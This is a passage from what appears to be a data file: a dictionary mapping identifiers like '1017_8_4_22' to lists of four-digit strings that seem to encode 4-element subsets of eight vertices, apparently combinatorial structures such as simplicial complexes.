['0234','1234','0245','1245','0345','1345','0346','1346','2346','0456','1456','2456','3456','0247','1247','0347','1347','0457','1457','0467','1467','2467','3467','4567'] , '1017_8_4_22' : ['0234','1234','0245','1245','0345','1345','0346','1346','2346','0456','1456','2456','3456','0347','1347','2347','0457','1457','2457','3457','3467','4567'] , '1018_8_4_21' : ['0234','1234','0235','1235','2345','0346','1346','2346','0356','1356','2356','3456','0347','1347','2347','0357','1357','2357','3457','3467','3567'] , '1019_8_4_15' : ['0123','0134','1234','0235','1235','0345','1345','2345','0236','1236','0346','1346','2346','2356','3456'] , '1020_8_4_34' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','0256','1256','0356','1356','0456','1456','0237','1237','0247','1247','0347','1347','0257','1257','0357','1357','0267','1267','0367','1367','0467','1467','0567','1567'] , '1021_8_4_34' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','0256','1256','0356','1356','0456','1456','0237','1237','2347','0257','1257','0357','1357','2457','3457','0367','1367','2367','3467','0567','1567','2567','3567','4567'] , '1022_8_4_26' : ['0234','1234','0245','1245','0345','1345','0346','1346','2346','0456','1456','2456','3456','0247','1247','0347','1347','2347','0457','1457','2457','3457','0467','1467','2467','4567'] , '1023_8_4_33' : ['0234','1234','0245','1245','0345','1345','0346','1346','2346','0456','1456','2456','3456','0237','1237','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0367','1367','2367','0567','1567','2567','3567'] , '1024_8_4_25' : ['0234','1234','0245','1245','0345','1345','0346','1346','2346','0456','1456','2456','3456','0247','1247','2347','0457','1457','2457','3457','0467','1467','2467','3467','4567'] , '1025_8_4_31' : ['0234','1234','0245','1245','0345','1345','0346','1346','2346','0456','1456','2456','3456','0237','1237','2347','0257','1257','0357','1357','2457','3457','0367','1367','2367','3467','0567','1567','2567','3567','4567'] , '1026_8_4_21' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','0146','1246','0346','2346','0256','1256','2356','0456','1456','2456','3456'] , '1027_8_4_17' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','3456'] , '1028_8_4_32' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','0256','1256','0356','1356','0456','1456','0347','1347','2347','0457','1457','2457','3457','0367','1367','2367','3467','0567','1567','2567','3567','4567'] , '1029_8_4_28' : ['0234','1234','0235','1235','2345','0346','1346','2346','0356','1356','2356','3456','0247','1247','2347','0257','1257','2357','2457','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1030_8_4_20' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','1236','0146','1246','1346','0256','1256','2356','0456','1456','2456','3456'] , '1031_8_4_32' : ['0234','1234','0245','1245','0345','1345','0246','1246','0346','1346','0456','1456','0237','1237','0247','1247','0347','1347','0257','1257','0357','1357','0457','1457','0267','1267','0367','1367','0467','1467','0567','1567'] , '1032_8_4_26' : ['0234','1234','0245','1245','0345','1345','0246','1246','0346','1346','0456','1456','0247','1247','0347','1347','2347','0457','1457','2457','3457','0467','1467','2467','3467','4567'] , '1033_8_4_23' : ['0234','1234','0235','1235','2345','0236','1236','2346','2356','0237','1237','0347','1347','2347','0357','1357','2357','3457','0367','1367','2367','3467','3567'] , '1034_8_4_16' : ['0123','0134','1234','0135','1235','1345','0136','0236','1236','0346','1346','2346','0356','1356','2356','3456'] , '1035_8_4_36' : ['0234','1234','0245','1245','0345','1345','0246','1246','0346','1346','0456','1456','0237','1237','0247','1247','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','4567'] , '1036_8_4_31' : ['0234','1234','0235','1235','2345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','2356','2456','3456','0237','1237','2347','2357','0267','1267','0367','1367','2367','2467','3467','2567','3567'] , '1037_8_4_30' : ['0234','1234','0235','1235','2345','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','2456','3456','0237','1237','2347','2357','0267','1267','0367','1367','2367','2467','3467','2567','3567'] , '1038_8_4_21' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0136','1236','1346','0156','1256','0356','1356','2356','1456','3456'] , '1039_8_4_38' : ['0234','1234','0245','1245','0345','1345','0246','1246','0346','1346','0456','1456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','4567'] , '1040_8_4_32' : ['0234','1234','0235','1235','2345','0236','1236','2346','2356','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','2457','3457','0267','1267','0367','1367','2367','2467','3467','2567','3567'] , '1041_8_4_22' : ['0123','0134','1234','0135','1235','1345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','1256','0356','1356','2356','1456','3456'] , '1042_8_4_40' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','0256','1256','0356','1356','0456','1456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2457','3457','0267','1267','2367','0467','1467','3467','0567','1567','2567','3567','4567'] , '1043_8_4_36' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','0256','1256','0356','1356','0456','1456','0237','1237','0247','1247','0347','1347','0257','1257','0357','1357','0457','1457','0267','1267','0367','1367','0467','1467','0567','1567'] , '1044_8_4_37' : ['0234','1234','0245','1245','0345','1345','0346','1346','2346','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2457','3457','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1045_8_4_27' : ['0234','1234','0245','1245','0345','1345','0346','1346','2346','0456','1456','2456','3456','0247','1247','0347','1347','2347','0457','1457','2457','3457','0467','1467','2467','3467','4567'] , '1046_8_4_36' : ['0234','1234','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','0456','1456','0237','1237','0247','1247','0347','1347','0257','1257','0357','1357','0457','1457','0267','1267','0367','1367','0567','1567'] , '1047_8_4_28' : ['0234','1234','0245','1245','0345','1345','0246','1246','0346','1346','2346','0456','1456','2456','3456','0247','1247','0347','1347','2347','0457','1457','2457','3457','0467','1467','3467','4567'] , '1048_8_4_27' : ['0234','1234','0245','1245','0345','1345','0246','1246','0346','1346','2346','0456','1456','2456','3456','0247','1247','0347','1347','2347','0457','1457','2457','3457','2467','3467','4567'] , '1049_8_4_36' : ['0234','1234','0235','1235','2345','0346','1346','2346','0356','1356','2356','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2457','3457','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1050_8_4_26' : ['0234','1234','0235','1235','2345','0346','1346','2346','0356','1356','2356','3456','0237','1237','0347','1347','2347','0357','1357','2357','3457','0367','1367','2367','3467','3567'] , '1051_8_4_24' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456'] , '1052_8_4_18' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','1236','0346','1346','2346','0356','1356','2356','3456'] , '1053_8_4_18' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0136','0236','1236','0346','1346','2346','0356','2356','3456'] , '1054_8_4_39' : ['0234','1234','0245','1245','0345','1345','0236','1236','2346','0256','1256','0356','1356','2456','3456','0237','1237','0247','1247','0347','1347','0257','1257','0357','1357','0457','1457','0267','1267','0367','1367','2367','2467','3467','0567','1567','2567','3567','4567'] , '1055_8_4_37' : ['0234','1234','0245','1245','0345','1345','0236','1236','2346','0256','1256','0356','1356','2456','3456','0237','1237','0247','1247','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','2367','2467','0567','1567','2567','3567','4567'] , '1056_8_4_36' : ['0234','1234','0245','1245','0345','1345','0236','1236','2346','0256','1256','0356','1356','2456','3456','0247','1247','0347','1347','2347','0457','1457','2457','3457','0267','1267','0367','1367','2367','2467','3467','0567','1567','2567','3567','4567'] , '1057_8_4_39' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','2346','0256','1256','0356','1356','0456','1456','2456','3456','0237','1237','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0367','1367','2367','0567','1567','2567','3567'] , '1058_8_4_24' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','2356','0456','1456','2456','3456'] , '1059_8_4_38' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','0256','1256','0356','1356','0456','1456','0247','1247','0347','1347','2347','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','3467','0567','1567','2567','3567','4567'] , '1060_8_4_37' : ['0234','1234','0245','1245','0345','1345','0346','1346','2346','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','0257','1257','0357','1357','0457','1457','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1061_8_4_35' : ['0234','1234','0245','1245','0345','1345','0346','1346','2346','0456','1456','2456','3456','0237','1237','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0367','1367','2367','3467','0567','1567','2567','3567','4567'] , '1062_8_4_33' : ['0234','1234','0235','1235','2345','0346','1346','2346','0356','1356','2356','3456','0237','1237','0247','1247','2347','0257','1257','2357','2457','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1063_8_4_23' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','1236','0146','1246','0346','1346','2346','0256','1256','2356','0456','1456','2456','3456'] , '1064_8_4_42' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','0256','1256','0356','1356','0456','1456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','2367','0467','1467','3467','0567','1567','2567','3567','4567'] , '1065_8_4_39' : ['0234','1234','0245','1245','0345','1345','0346','1346','2346','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1066_8_4_38' : ['0234','1234','0245','1245','0345','1345','0346','1346','2346','0456','1456','2456','3456','0237','1237','0247','1247','2347','0257','1257','0357','1357','0457','1457','2457','3457','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1067_8_4_37' : ['0234','1234','0235','1235','2345','0346','1346','2346','0356','1356','2356','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2457','3457','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1068_8_4_25' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1069_8_4_42' : ['0234','1234','0245','1245','0345','1345','0236','1236','2346','0256','1256','0356','1356','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','0367','1367','2367','2467','3467','0567','1567','2567','3567','4567'] , '1070_8_4_45' : ['0234','1234','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0567','1567','2567','3567'] , '1071_8_4_27' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','2356','0456','1456','2456','3456'] , '1072_8_4_44' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','0256','1256','0356','1356','0456','1456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','3467','0567','1567','2567','3567','4567'] , '1073_8_4_40' : ['0234','1234','0245','1245','0345','1345','0346','1346','2346','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1074_8_4_38' : ['0234','1234','0235','1235','2345','0346','1346','2346','0356','1356','2356','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','2457','3457','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1075_8_4_26' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1076_8_4_38' : ['0234','1234','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','0456','1456','0237','1237','0247','1247','0347','1347','0257','1257','0357','1357','0457','1457','0267','1267','0367','1367','0467','1467','0567','1567'] , '1077_8_4_29' : ['0234','1234','0245','1245','0345','1345','0246','1246','0346','1346','2346','0456','1456','2456','3456','0247','1247','0347','1347','2347','0457','1457','2457','3457','0467','1467','2467','3467','4567'] , '1078_8_4_28' : ['0234','1234','0235','1235','2345','0236','1236','0346','1346','2346','0356','1356','2356','3456','0237','1237','0347','1347','2347','0357','1357','2357','3457','0367','1367','2367','3467','3567'] , '1079_8_4_19' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0136','0236','1236','0346','1346','2346','0356','1356','2356','3456'] , '1080_8_4_39' : ['0234','1234','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','0456','1456','0247','1247','0347','1347','2347','0457','1457','2457','3457','0267','1267','0367','1367','2367','2467','3467','0567','1567','2567','3567','4567'] , '1081_8_4_36' : ['0234','1234','0235','1235','2345','0236','1236','0346','1346','2346','0356','1356','2356','3456','0237','1237','0247','1247','2347','0257','1257','2357','2457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1082_8_4_24' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','2356','0456','1456','2456','3456'] , '1083_8_4_41' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','2346','0256','1256','0356','1356','0456','1456','2456','3456','0247','1247','0347','1347','2347','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1084_8_4_43' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','2346','0256','1256','0356','1356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','4567'] , '1085_8_4_40' : ['0234','1234','0235','1235','2345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','2356','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2457','3457','0267','1267','0367','1367','2367','2467','3467','2567','3567'] , '1086_8_4_39' : ['0234','1234','0235','1235','2345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','2356','2456','3456','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','2457','3457','0267','1267','0367','1367','2367','2467','3467','2567','3567'] , '1087_8_4_26' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1088_8_4_45' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','2346','0256','1256','0356','1356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1089_8_4_44' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','2346','0256','1256','0356','1356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2457','3457','0267','1267','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1090_8_4_41' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','2346','0256','1256','0356','1356','0456','1456','2456','3456','0237','1237','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0367','1367','2367','3467','0567','1567','2567','3567','4567'] , '1091_8_4_43' : ['0234','1234','0235','1235','2345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','2356','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2457','3457','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1092_8_4_42' : ['0234','1234','0235','1235','2345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','2356','2456','3456','0237','1237','0247','1247','0347','1347','0257','1257','0357','1357','2357','2457','3457','0267','1267','0367','1367','0467','1467','0567','1567','2567','3567','4567'] , '1093_8_4_38' : ['0234','1234','0235','1235','2345','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','2456','3456','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','2457','3457','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1094_8_4_28' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1095_8_4_26' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0156','0256','0356','0456','1456','2456','3456'] , '1096_8_4_41' : ['0234','1234','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','0456','1456','0247','1247','0347','1347','2347','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1097_8_4_37' : ['0234','1234','0235','1235','2345','0236','1236','0346','1346','2346','0356','1356','2356','3456','0237','1237','0247','1247','2347','0257','1257','2357','2457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1098_8_4_25' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1099_8_4_45' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','2346','0256','1256','0356','1356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','0257','1257','0357','1357','0457','1457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1100_8_4_42' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','2346','0256','1256','0356','1356','0456','1456','2456','3456','0247','1247','0347','1347','2347','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1101_8_4_45' : ['0234','1234','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','0456','1456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','0367','1367','2367','2467','3467','0567','1567','2567','3567','4567'] , '1102_8_4_43' : ['0234','1234','0245','1245','0345','1345','0246','1246','0346','1346','2346','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','3467','0567','1567','2567','3567','4567'] , '1103_8_4_42' : ['0234','1234','0245','1245','0345','1345','0246','1246','0346','1346','2346','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','0367','1367','2367','2467','3467','0567','1567','2567','3567','4567'] , '1104_8_4_41' : ['0234','1234','0235','1235','2345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','2356','2456','3456','0237','1237','0247','1247','2347','0257','1257','2357','2457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1105_8_4_40' : ['0234','1234','0235','1235','2345','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','2456','3456','0237','1237','0347','1347','2347','0357','1357','2357','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1106_8_4_41' : ['0234','1234','0235','1235','2345','0236','1236','0346','1346','2346','0356','1356','2356','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1107_8_4_27' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1108_8_4_27' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','2356','0456','1456','2456','3456'] , '1109_8_4_47' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','2346','0256','1256','0356','1356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1110_8_4_46' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','2346','0256','1256','0356','1356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1111_8_4_45' : ['0234','1234','0235','1235','2345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','2356','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1112_8_4_44' : ['0234','1234','0235','1235','2345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','2356','2456','3456','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1113_8_4_29' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1114_8_4_47' : ['0234','1234','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','0456','1456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1115_8_4_44' : ['0234','1234','0245','1245','0345','1345','0246','1246','0346','1346','2346','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1116_8_4_42' : ['0234','1234','0235','1235','2345','0236','1236','0346','1346','2346','0356','1356','2356','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1117_8_4_28' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1118_8_4_48' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','2346','0256','1256','0356','1356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1119_8_4_49' : ['0234','1234','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','3467','0567','1567','2567','3567','4567'] , '1120_8_4_48' : ['0234','1234','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','0367','1367','2367','2467','3467','0567','1567','2567','3567','4567'] , '1121_8_4_46' : ['0234','1234','0235','1235','2345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','2356','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1122_8_4_45' : ['0234','1234','0235','1235','2345','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1123_8_4_46' : ['0234','1234','0235','1235','2345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1124_8_4_30' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1125_8_4_30' : ['0123','0134','1234','0125','0135','0235','1235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','2356','0456','1456','2456','3456'] , '1126_8_4_50' : ['0234','1234','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1127_8_4_47' : ['0234','1234','0235','1235','2345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1128_8_4_31' : ['0123','0134','1234','0125','0135','0235','1235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1129_8_4_44' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0356','1356','2356','0456','1456','2456','3456','0237','1237','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567'] , '1130_8_4_28' : ['0123','0124','0234','1234','0125','0135','0235','0145','1245','0345','1345','2345','0136','0236','1236','0146','0246','1246','0346','1346','0156','0256','1256','1356','2356','0456','2456','3456'] , '1131_8_4_40' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','0456','1456','0237','1237','0247','1247','0347','1347','0257','1257','0357','1357','0457','1457','0267','1267','0367','1367','0467','1467','0567','1567'] , '1132_8_4_30' : ['0234','1234','0245','1245','0345','1345','2345','0246','1246','0346','1346','2346','0456','1456','2456','3456','0247','1247','0347','1347','2347','0457','1457','2457','3457','0467','1467','2467','3467','4567'] , '1133_8_4_20' : ['0123','0124','0234','1234','0125','0235','1235','0245','1245','2345','0126','0236','1236','0246','1246','2346','0256','1256','2356','2456'] , '1134_8_4_46' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567'] , '1135_8_4_45' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0356','1356','2356','0456','1456','2456','3456','0237','1237','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1136_8_4_29' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456'] , '1137_8_4_48' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567'] , '1138_8_4_48' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567'] , '1139_8_4_47' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','2567','3567','4567'] , '1140_8_4_47' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0237','1237','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1141_8_4_44' : 